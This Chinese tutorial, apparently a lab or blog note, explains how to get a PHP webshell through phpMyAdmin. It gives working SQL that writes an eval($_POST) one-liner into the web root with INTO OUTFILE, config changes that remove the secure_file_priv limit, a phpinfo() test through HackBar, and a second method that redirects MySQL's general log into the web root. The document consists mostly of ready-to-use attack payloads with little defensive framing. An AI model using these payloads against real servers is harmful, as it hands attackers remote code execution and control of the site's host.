通过phpMyAdmin写入MySQL,获取webshell
在SQL的控制台中输入
进入http://127.0.0.1/phpMyAdmin,并在SQL中输入如下命令
select '<?php @eval($_POST[1]);?>' into outfile 'D:/phpstudy_pro/WWW/code/sql/shell.php';
发现如下报错:
修改配置
去掉导入的目录限制
可修改mysql配置文件(Windows下为my.ini, Linux下的my.cnf),在[mysqld]下面,查看是否有:
secure_file_priv =
如上这样一行内容,如果没有,则手动添加。如果存在如下行:
secure_file_priv = /home
这样一行内容,表示限制为/home文件夹。而如下行:
secure_file_priv =
这样一行内容,表示不限制目录,等号一定要有,否则mysql无法启动。
修改完配置文件后,重启mysql生效。
重启后:
关闭:service mysqld stop
启动:service mysqld start
再次输入
select '<?php @eval($_POST[1]);?>' into outfile 'D:/phpstudy_pro/WWW/code/sql/shell.php';
查看木马是否可以执行
同过访问木马的地址,并通过 hackbar插件,在post中输入 1=phpinfo(),查看此木马是否可以使用;
其他方式写入shell:https://blog.csdn.net/weixin_39872872/article/details/112589789
一,在网站根目录下 ①查select @@basedir; ②利用into outfile进行写 select '<?php eval($_POST[cmd]); ?>' into outfile 'C:/phpStudy/MySQL/cc.php';#网站的根目录 二,利用mysql日志写文件 general log 指的是日志保存状态,ON代表开启 OFF代表关闭; general log file 指的是日志的保存路径。 show variables like '%general%';#查看日志状态-->即可爆出日志的保存状态和保存路径 SET GLOBAL general_log='on' SET GLOBAL general_log_file='根目录'#即设置日志保存的根目录的地址-->即典型你要写马的位置 SELECT '<?php eval($_POST["cmd"]);?>'#执行语句-->即在日志文件中会直接生成